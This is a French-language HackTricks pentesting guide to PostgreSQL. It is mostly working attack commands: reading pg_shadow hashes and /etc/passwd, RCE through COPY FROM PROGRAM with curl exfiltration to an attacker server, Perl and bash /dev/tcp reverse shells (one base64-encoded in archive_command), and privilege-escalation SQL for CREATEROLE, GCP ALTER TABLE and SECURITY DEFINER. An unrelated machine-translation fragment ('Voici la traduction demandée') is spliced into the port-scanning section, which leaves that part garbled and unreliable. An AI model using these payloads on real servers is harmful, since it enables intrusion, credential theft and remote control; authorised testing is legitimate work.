hacktricks/network-services-pentesting/pentesting-postgresql.md

5432,5433 - Pentesting Postgresql

Utilisez Trickest pour construire et automatiser des workflows alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
• Découvrez The PEASS Family, notre collection exclusive de NFTs
• Obtenez le swag officiel PEASS & HackTricks
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
• Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.

Informations de base

PostgreSQL est un système de base de données relationnelle objet open source qui utilise et étend le langage SQL.

Port par défaut : 5432, et si ce port est déjà utilisé, il semble que postgresql utilisera le port suivant (5433 probablement) qui n'est pas utilisé.

PORT     STATE SERVICE
5432/tcp open  pgsql

Connexion

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
Select user;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;

# Get history of commands executed
\s

Pour plus d'informations sur comment abuser d'une base de données PostgreSQL, consultez :

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} injection-postgresql {% endcontent-ref %}

Énumération

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

Balayage de port

Selon cette recherche, lorsqu'une tentative de connexion échoue, dblink lance une exception sqlclient_unable_to_establish_sqlconnection incluant une explication de l'erreur. Des exemples de ces détails sont énumérés ci-dessous.

SELECT * FROM dblink_connect('host=1.2.3.4
                              port=5678
                              user=name
                              password=secret
                              dbname=abc
                              connect_timeout=10');

• L'hôte est hors ligne

DÉTAIL : impossible de se connecter au serveur : Pas de route vers l'hôte. Le serveur fonctionne-t-il sur l'hôte "1.2.3.4" et accepte-t-il les connexions TCP/IP sur le port 5678 ?

• Le port est fermé

DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• Le port est ouvert

DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

Voici la traduction demandée :

Pentesting PostgreSQL

Introduction

PostgreSQL est un système de gestion de base de données relationnelle open source. Il est utilisé par de nombreuses entreprises pour stocker des données sensibles telles que des informations financières et des données clients. En tant que testeur de pénétration, il est important de comprendre comment tester la sécurité de PostgreSQL.

Enumeration

La première étape de tout test de pénétration est l'énumération. Pour PostgreSQL, cela signifie identifier les instances de PostgreSQL en cours d'exécution sur le réseau. Cela peut être fait en utilisant des outils tels que Nmap ou Metasploit.

Exploitation

Une fois que vous avez identifié une instance de PostgreSQL, vous pouvez commencer à chercher des vulnérabilités à exploiter. Les vulnérabilités courantes incluent les injections SQL, les erreurs de configuration et les mots de passe faibles.

Injection SQL

L'injection SQL est une technique courante utilisée pour exploiter les applications Web, mais elle peut également être utilisée pour exploiter les bases de données. Pour PostgreSQL, cela signifie trouver des entrées utilisateur qui ne sont pas correctement validées et qui peuvent être utilisées pour exécuter du code SQL malveillant.

Erreurs de configuration

Les erreurs de configuration sont une autre vulnérabilité courante dans PostgreSQL. Cela peut inclure des autorisations incorrectes pour les utilisateurs, des ports ouverts inutilement et des paramètres de configuration mal configurés.

Mots de passe faibles

Les mots de passe faibles sont une vulnérabilité courante dans toutes les applications, y compris PostgreSQL. Les mots de passe par défaut doivent être changés et les mots de passe forts doivent être utilisés pour tous les comptes d'utilisateur.

Conclusion

PostgreSQL est un système de gestion de base de données populaire utilisé par de nombreuses entreprises pour stocker des données sensibles. En tant que testeur de pénétration, il est important de comprendre comment tester la sécurité de PostgreSQL en identifiant les instances en cours d'exécution, en cherchant des vulnérabilités à exploiter telles que les injections SQL, les erreurs de configuration et les mots de passe faibles.

DETAIL:  FATAL:  password authentication failed for user "name"

• Le port est ouvert ou filtré

DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

Malheureusement, il ne semble pas y avoir de moyen d'obtenir les détails de l'exception dans une fonction PL/pgSQL. Mais vous pouvez obtenir les détails si vous pouvez vous connecter directement au serveur PostgreSQL. S'il n'est pas possible d'obtenir les noms d'utilisateur et les mots de passe directement à partir des tables système, l'attaque par liste de mots décrite dans la section précédente pourrait être couronnée de succès.

Énumération des privilèges

Rôles

Types de rôles
rolsuper	Le rôle a des privilèges de superutilisateur
rolinherit	Le rôle hérite automatiquement des privilèges des rôles dont il est membre
rolcreaterole	Le rôle peut créer d'autres rôles
rolcreatedb	Le rôle peut créer des bases de données
rolcanlogin	Le rôle peut se connecter. C'est-à-dire que ce rôle peut être donné comme identifiant d'autorisation de session initial
rolreplication	Le rôle est un rôle de réplication. Un rôle de réplication peut initier des connexions de réplication et créer et supprimer des emplacements de réplication.
rolconnlimit	Pour les rôles qui peuvent se connecter, cela définit le nombre maximum de connexions simultanées que ce rôle peut établir. -1 signifie aucune limite.
rolpassword	Pas le mot de passe (toujours lu comme ********)
rolvaliduntil	Heure d'expiration du mot de passe (utilisée uniquement pour l'authentification par mot de passe) ; null s'il n'y a pas d'expiration
rolbypassrls	Le rôle contourne toutes les stratégies de sécurité au niveau des lignes, voir Section 5.8 pour plus d'informations.
rolconfig	Valeurs par défaut spécifiques au rôle pour les variables de configuration à l'exécution
oid	ID du rôle

Groupes intéressants

• Si vous êtes membre de pg_execute_server_program, vous pouvez exécuter des programmes
• Si vous êtes membre de pg_read_server_files, vous pouvez lire des fichiers
• Si vous êtes membre de pg_write_server_files, vous pouvez écrire des fichiers

{% hint style="info" %} Notez que dans Postgres, un utilisateur, un groupe et un rôle sont la même chose. Cela dépend simplement de la façon dont vous l'utilisez et si vous l'autorisez à se connecter. {% endhint %}

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT 
      r.rolname, 
      r.rolsuper, 
      r.rolinherit,
      r.rolcreaterole,
      r.rolcreatedb,
      r.rolcanlogin,
      r.rolbypassrls,
      r.rolconnlimit,
      r.rolvaliduntil,
      r.oid,
  ARRAY(SELECT b.rolname
        FROM pg_catalog.pg_auth_members m
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
        WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error: 
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Tables

Les tables sont les éléments les plus importants d'une base de données PostgreSQL. Elles contiennent les données que nous voulons stocker et manipuler. Les tables sont composées de colonnes et de lignes. Les colonnes définissent les types de données que nous pouvons stocker dans la table, tandis que les lignes contiennent les données elles-mêmes. Les tables peuvent être créées, modifiées et supprimées à l'aide de commandes SQL.

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Fonctions

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
    LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

Actions sur le système de fichiers

Lire des répertoires et des fichiers

À partir de ce commit, les membres du groupe DEFAULT_ROLE_READ_SERVER_FILES (appelé pg_read_server_files) et les super utilisateurs peuvent utiliser la méthode COPY sur n'importe quel chemin (consultez convert_and_check_filename dans genfile.c):

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

{% hint style="warning" %} N'oubliez pas que si vous n'êtes pas un super utilisateur mais que vous avez les autorisations CREATEROLE, vous pouvez vous ajouter en tant que membre de ce groupe :

GRANT pg_read_server_files TO username;

Plus d'informations. {% endhint %}

Il existe d'autres fonctions postgres qui peuvent être utilisées pour lire un fichier ou lister un répertoire. Seuls les superutilisateurs et les utilisateurs disposant d'autorisations explicites peuvent les utiliser :

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

Vous pouvez trouver plus de fonctions dans https://www.postgresql.org/docs/current/functions-admin.html

Écriture de fichiers simples

Seuls les super utilisateurs et les membres de pg_read_server_files peuvent utiliser la commande copy pour écrire des fichiers.

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

{% hint style="warning" %} N'oubliez pas que si vous n'êtes pas un super utilisateur mais que vous avez les permissions CREATEROLE, vous pouvez vous ajouter en tant que membre de ce groupe :

GRANT pg_write_server_files TO username;

Plus d'informations. {% endhint %}

Rappelez-vous que COPY ne peut pas gérer les caractères de nouvelle ligne, donc même si vous utilisez une charge utile base64, vous devez envoyer une commande sur une seule ligne.
Une limitation très importante de cette technique est que copy ne peut pas être utilisé pour écrire des fichiers binaires car il modifie certaines valeurs binaires.

Téléchargement de fichiers binaires

Cependant, il existe d'autres techniques pour télécharger de gros fichiers binaires :

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}

Astuce de bug bounty : inscrivez-vous sur Intigriti, une plateforme de bug bounty premium créée par des hackers, pour des hackers ! Rejoignez-nous sur https://go.intigriti.com/hacktricks dès aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $ !

{% embed url="https://go.intigriti.com/hacktricks" %}

RCE

RCE vers un programme

Depuis la version 9.3, seuls les super utilisateurs et les membres du groupe pg_execute_server_program peuvent utiliser copy pour RCE (exemple avec exfiltration :

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

Exemple d'exécution :

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

{% hint style="warning" %} N'oubliez pas que si vous n'êtes pas un super utilisateur mais que vous avez les permissions CREATEROLE, vous pouvez vous ajouter en tant que membre de ce groupe :

GRANT pg_execute_server_program TO username;

Plus d'informations. {% endhint %}

Ou utilisez le module multi/postgres/postgres_copy_from_program_cmd_exec de metasploit.
Plus d'informations sur cette vulnérabilité ici. Bien que signalée comme CVE-2019-9193, Postges a déclaré qu'il s'agissait d'une fonctionnalité et ne sera pas corrigée.

RCE avec les langages PostgreSQL

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} rce-with-postgresql-languages.md {% endcontent-ref %}

RCE avec les extensions PostgreSQL

Une fois que vous avez appris à partir du post précédent comment télécharger des fichiers binaires, vous pouvez essayer d'obtenir RCE en téléchargeant une extension postgresql et en la chargeant.

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}

RCE avec le fichier de configuration PostgreSQL

Le fichier de configuration de postgresql est modifiable par l'utilisateur postgres qui est celui qui exécute la base de données, donc en tant que superutilisateur vous pouvez écrire des fichiers dans le système de fichiers, et donc vous pouvez écraser ce fichier.

RCE avec ssl_passphrase_command

Le fichier de configuration a des attributs intéressants qui peuvent conduire à RCE :

• ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Chemin de la clé privée de la base de données
• ssl_passphrase_command = '' Si le fichier privé est protégé par un mot de passe (chiffré), postgresql exécutera la commande indiquée dans cet attribut.
• ssl_passphrase_command_supports_reload = off Si cet attribut est activé, la commande exécutée si la clé est protégée par un mot de passe sera exécutée lorsque pg_reload_conf() est exécuté.

Ensuite, un attaquant devra :

1. Extraire la clé privée du serveur
2. Chiffrer la clé privée téléchargée :
   1. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
3. Écraser
4. Extraire la configuration postgresql actuelle
5. Écraser la configuration avec la configuration des attributs mentionnés :
   1. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
   2. ssl_passphrase_command_supports_reload = on
6. Exécuter pg_reload_conf()

Lors des tests, j'ai remarqué que cela ne fonctionnera que si le fichier de clé privée a des privilèges 640, il est possédé par root et par le groupe ssl-cert ou postgres (afin que l'utilisateur postgres puisse le lire), et est placé dans /var/lib/postgresql/12/main.

Plus d'informations sur cette technique ici.

RCE avec archive_command

Un autre attribut dans le fichier de configuration qui est exploitable est archive_command.

Pour que cela fonctionne, le paramètre archive_mode doit être 'on' ou 'always'. Si c'est le cas, nous pourrions écraser la commande dans archive_command et la forcer à s'exécuter via les opérations WAL (write-ahead logging).

Les étapes générales sont les suivantes :

1. Vérifiez si le mode archive est activé : SELECT current_setting('archive_mode')
2. Écrasez archive_command avec la charge utile. Par exemple, un shell inversé : archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
3. Rechargez la configuration : SELECT pg_reload_conf()
4. Forcer l'opération WAL à s'exécuter, ce qui appellera la commande d'archive : SELECT pg_switch_wal() ou SELECT pg_switch_xlog() pour certaines versions de Postgres

Plus d'informations sur cette configuration et sur WAL ici.

Postgres Privesc

CREATEROLE Privesc

Grant

Selon la documentation : Les rôles ayant le privilège CREATEROLE peuvent accorder ou révoquer l'appartenance à n'importe quel rôle qui n'est pas un superutilisateur.

Ainsi, si vous avez la permission CREATEROLE, vous pouvez vous accorder l'accès à d'autres rôles (qui ne sont pas superutilisateurs) qui peuvent vous donner la possibilité de lire et d'écrire des fichiers et d'exécuter des commandes :

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Modifier le mot de passe

Les utilisateurs ayant ce rôle peuvent également modifier les mots de passe d'autres non-superutilisateurs :

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc vers SUPERUSER

Il est assez courant de constater que les utilisateurs locaux peuvent se connecter à PostgreSQL sans fournir de mot de passe. Par conséquent, une fois que vous avez obtenu les autorisations pour exécuter du code, vous pouvez abuser de ces autorisations pour obtenir le rôle de SUPERUSER :

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

{% hint style="info" %} Cela est généralement possible en raison des lignes suivantes dans le fichier pg_hba.conf :

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

{% endhint %}

ALTER TABLE privesc

Dans ce writeup, il est expliqué comment il était possible de faire une élévation de privilèges dans Postgres GCP en abusant du privilège ALTER TABLE qui avait été accordé à l'utilisateur.

Lorsque vous essayez de donner la propriété d'une table à un autre utilisateur, vous devriez obtenir une erreur qui l'empêche, mais apparemment GCP a donné cette option à l'utilisateur postgres non-superutilisateur dans GCP :

En combinant cette idée avec le fait que lorsque les commandes INSERT/UPDATE/ANALYZE sont exécutées sur une table avec une fonction d'index, la fonction est appelée en tant que partie de la commande avec les permissions du propriétaire de la table. Il est possible de créer un index avec une fonction et de donner les permissions de propriétaire à un superutilisateur sur cette table, puis d'exécuter ANALYZE sur la table avec la fonction malveillante qui pourra exécuter des commandes car elle utilise les privilèges du propriétaire.

GetUserIdAndSecContext(&save_userid, &save_sec_context); 
SetUserIdAndSecContext(onerel->rd_rel->relowner, 
                       save_sec_context | SECURITY_RESTRICTED_OPERATION); 

Exploitation

1. Créer une nouvelle table.
2. Insérer du contenu fictif dans la table, afin que la fonction d'indexation ait quelque chose à traiter.
3. Créer une fonction d'indexation malveillante (avec notre charge utile d'exécution de code) sur la table.
4. ALTERER le propriétaire de la table en cloudsqladmin, le rôle superutilisateur de GCP, utilisé uniquement par Cloud SQL pour maintenir et gérer la base de données.
5. ANALYSER la table, forçant le moteur PostgreSQL à passer en mode contexte utilisateur pour le propriétaire de la table (cloudsqladmin) et à appeler la fonction d'indexation malveillante avec les autorisations de cloudsqladmin, ce qui permet d'exécuter notre commande shell, que nous n'avions pas la permission d'exécuter auparavant.

Dans PostgreSQL, ce flux ressemble à ceci :

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
 
INSERT INTO temp_table VALUES ('dummy content');
 
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */ 
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
  LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
 
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
 
ALTER TABLE temp_table OWNER TO cloudsqladmin;
 
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */ 
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
  LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
 
ANALYZE public.temp_table;

Après l'exécution de la requête SQL d'exploitation, la table shell_commands_results contient la sortie du code exécuté :

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Connexion locale

Certaines instances postgresql mal configurées peuvent autoriser la connexion de n'importe quel utilisateur local, il est possible de se connecter localement depuis 127.0.0.1 en utilisant la fonction dblink:

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
    port=5432
    user=someuser
    password=supersecret
    dbname=somedb',
    'Select usename,passwd from pg_shadow')
RETURNS (result TEXT);

{% hint style="warning" %} Notez que pour que la requête précédente fonctionne, la fonction dblink doit exister. Si elle n'existe pas, vous pouvez essayer de la créer avec

CREATE EXTENSION dblink;

{% endhint %}

Si vous avez le mot de passe d'un utilisateur disposant de privilèges supérieurs, mais que l'utilisateur n'est pas autorisé à se connecter depuis une adresse IP externe, vous pouvez utiliser la fonction suivante pour exécuter des requêtes en tant qu'utilisateur :

SELECT * FROM dblink('host=127.0.0.1
                          user=someuser
                          dbname=somedb',
                         'Select usename,passwd from pg_shadow')
                      RETURNS (result TEXT);

Il est possible de vérifier si cette fonction existe avec:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

Fonction définie personnalisée avec SECURITY DEFINER

Dans ce document, les testeurs de pénétration ont pu obtenir des privilèges élevés à l'intérieur d'une instance postgres fournie par IBM, car ils ont trouvé cette fonction avec le drapeau SECURITY DEFINER:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text) 
    RETURNS text 
    LANGUAGE 'plpgsql' 
    VOLATILE SECURITY DEFINER 
    PARALLEL UNSAFE 
    COST 100 
     
AS $BODY$ 
                DECLARE 
                     persist_dblink_extension boolean; 
                BEGIN 
                    persist_dblink_extension := create_dblink_extension(); 
                    PERFORM dblink_connect(format('dbname=%s', db_name)); 
                    PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s', 
                                               subscription_name, host_ip, portNum, password, username, db_name, publisher_name)); 
                    PERFORM dblink_disconnect(); 
… 

Comme expliqué dans les documents, une fonction avec SECURITY DEFINER est exécutée avec les privilèges de l'utilisateur qui la possède. Par conséquent, si la fonction est vulnérable à l'injection SQL ou effectue des actions privilégiées avec des paramètres contrôlés par l'attaquant, elle peut être utilisée pour escalader les privilèges à l'intérieur de postgres.

À la ligne 4 du code précédent, vous pouvez voir que la fonction a le drapeau SECURITY DEFINER.

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a 
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication 
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

Et ensuite exécuter des commandes :

Passer le test de force brute avec PL/pgSQL

PL/pgSQL, en tant que langage de programmation complet, permet beaucoup plus de contrôle procédural que SQL, y compris la capacité à utiliser des boucles et d'autres structures de contrôle. Les déclarations SQL et les déclencheurs peuvent appeler des fonctions créées dans le langage PL/pgSQL.
Vous pouvez abuser de ce langage pour demander à PostgreSQL de forcer les identifiants des utilisateurs.

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

journalisation

Dans le fichier postgresql.conf, vous pouvez activer les journaux de postgresql en modifiant :

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

Ensuite, redémarrez le service.

pgadmin

pgadmin est une plateforme d'administration et de développement pour PostgreSQL.
Vous pouvez trouver des mots de passe à l'intérieur du fichier pgadmin4.db.
Vous pouvez les décrypter en utilisant la fonction decrypt dans le script : https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

L'authentification du client est contrôlée par un fichier de configuration fréquemment nommé pg_hba.conf. Ce fichier contient un ensemble d'enregistrements. Un enregistrement peut avoir l'un des sept formats suivants :

Chaque enregistrement spécifie un type de connexion, une plage d'adresses IP client (si elle est pertinente pour le type de connexion), un nom de base de données, un nom d'utilisateur, et la méthode d'authentification à utiliser pour les connexions correspondant à ces paramètres. Le premier enregistrement avec une correspondance de type de connexion, d'adresse client, de base de données demandée et de nom d'utilisateur est utilisé pour effectuer l'authentification. Il n'y a pas de "passage en cascade" ou de "sauvegarde" : si un enregistrement est choisi et que l'authentification échoue, les enregistrements suivants ne sont pas considérés. Si aucun enregistrement ne correspond, l'accès est refusé.
Les méthodes d'authentification basées sur le mot de passe sont md5, crypt, et password. Ces méthodes fonctionnent de manière similaire, sauf pour la façon dont le mot de passe est envoyé à travers la connexion : respectivement, haché en MD5, crypté en crypt, et en texte clair. Une limitation est que la méthode crypt ne fonctionne pas avec les mots de passe qui ont été cryptés dans pg_authid.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
• Découvrez The PEASS Family, notre collection exclusive de NFTs
• Obtenez le swag officiel PEASS & HackTricks
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
• Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.

Utilisez Trickest pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}